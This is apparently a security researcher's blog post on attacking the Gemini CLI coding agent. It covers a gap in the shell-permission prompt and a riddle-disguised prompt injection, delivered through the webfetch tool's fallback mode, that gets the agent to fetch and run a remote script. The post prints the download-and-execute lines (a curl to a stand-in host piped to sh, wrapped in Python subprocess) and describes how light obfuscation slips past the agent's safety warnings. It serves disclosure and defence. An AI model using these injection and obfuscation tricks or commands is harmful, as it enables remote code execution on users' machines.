Playing with Gemini CLI: Riddles, Magic and Some Security Vibes

Inspired by this excellent blog post, I decided to play around with Gemini CLI. I installed the newest version 0.1.14 from Homebrew (officially supported) which vibe-fixes the issue.

TL;DR

Gemini CLI is the newest CLI based agent from Google. It’s “a command-line AI workflow tool that connects to your tools, understands your code and accelerates your workflows.”

When asked to fetch content from the Internet, Gemini CLI uses its own tool called webfetch. The tool itself uses LLM-based processing to filter/process the content.

This is how the webfetch tool roughly works: When the agent calls the webfetch tool, it gives the url and if applicable a keyword (user prompt). The tool calls Gemini LLM directly with this information:

This means that the get query to the url is handled by the central Google infrastructure, not by the client where the CLI is installed. If this fails, a fallback mode is implemented. This fallback mode uses the client to execute the get query:

And:

The content is then passed to the Gemini LLM along with a fallback prompt as context:

The question is: does it make a difference from security perspective? Most probably yes. Network exposure shifts from Google’s servers to the client. In fallback mode the raw content is directly passed to the LLM without filter which the central infrastructure may apply. An attacker can easily force the fallback mode by blocking requests from the central Gemini LLM directly (something many sites do anyhow).

All webfetch requests in this post used fallback mode because the domain used does not exist - but it is resolved locally via /etc/hosts.

Shell Tool

Gemini CLI includes a native Shell tool capable of executing arbitrary shell commands. In David’s post, he shows that the user is prompted for permission before each command but it only asks for permission for the first command within a shell command line. This has been fixed in the version I am using - but not completely.

As an example, we can try to execute following commands consecutively:

First, I am prompted to accept if, then, fi but I see the whole command line. I just click bravely allow always, that’s harmless:

Then the second line is executed without any permission prompt!

Content of file:

It’s also possible to play around with {} with the same effect.

Running in a sandbox is therefore strongly recommended.

LLM behavior and security

1) LLMs are trained to solve problems

We might be able to exploit this behavior to make the agent do something we want—disguised as a riddle.

2) Agents have a bias for action

When a user asks something, the agent will always try to do its best using the available tools.

3) Gemini CLI has strong security policies

It is trained to (almost) always warn the user when it detects a potential security issue. But this does not work reliably. The agent behavior is a trade-off between bias for action and security,

4) Gemini CLI acts differently based on its context

This is inherent to all LLMs. The whole context is processed every time a new token is generated: system prompt, tool availability and description, conversation history… From a defender perspective, this is a nightmare: it’s not possible to test every possible context. From an attacker perspective, this is a barrier: a specific exploit does not work reliably on different targets.

We can use the information above to try to make the agent load a shell script from the Internet and execute it. We will exploit following points:

• The permission prompt check incompleteness
• The bias for action
• The fallback webftech mode
• The vibes

1) In fallback mode, webfetch just decodes a gzip base64 encoded string and forwards its content to the agent

If we prompt:

And the content of gryffindor is:

The webfetch tool (in fallback mode) will decode the content and forward it to the agent, which immediately begins with action. Since it runs a shell command, the CLI asks for permission:

The decoded content of gryffindor is:

Note: the environment variable GEMINI_CLI is set to 1 when running Gemini CLI.

2) Using the prompt permission check incompleteness, we can execute arbitrary shell commands following only one harmless allow always

After granting permission with allow always for if, then, fi involving the command if [[ "$GEMINI_CLI" == 1 ]]; then echo "YES"; fi, the agent begins with execution of the following command lines (disguised as spells) without asking for permission.

3) The underlying security policies do not detect the execution of a remote shell when it’s only slightly obfuscated

If you ask the agent to do curl https://... | sh it will warn you and it does not immediately execute the command:

By obfuscating only slightly this command, it seems that the agent does not recognize the risk:

• Disguise the whole thing as riddle
• Add some magic vibes
• Do not execute curl https://... | sh directly but divide it in curl https://x.wizardwiz.io:4443/leviosa > acciofollowed by python3 accio.
• Use python3 to execute the shell (seems it trusts python more?) from accio script:
  import subprocess subprocess.run("curl https://x.wizardwiz.io:4443/x|sh", shell=True)

And this is the x shell script:

The agent executes all actions leading to curl https://... | sh on the client machine.

See also the video at the beginning of this post.

This was a very simple experiment from which I learned that:

• LLMs do not differentiate between data and instructions. That’s the (already well known) key issue.
• It’s possible to train them to detect malicious content but the checks are not perfect. Moreover, there is always a tradeoff between bias for action and security.
• The most reliable checks are outside the LLMs - but in case of Gemini CLI they are still not perfect. Additionally, since an agent who asks every 2 seconds for permission is not very useful, these checks are not a proper solution - autonomy is important. And users get UI fatigue when asked to allow every single command.
• When playing with Gemini CLI, social engineering skills are almost as important as IT security skills.

Everything is vibe.

• Gemini CLI version: 0.1.14 from Homebrew
• Model: gemini-2.5-flash
• no GEMINI.md file was used
• I don’t own wizardwiz.io but /etc/host was used to redirect the queries to localhost. That’s the reason why I used NODE_EXTRA_CA_CERTS=../CERT/wizzz.crt. This is not needed if an attacker owns the domain.
• This is the answer from Gemini when confronted with the issue: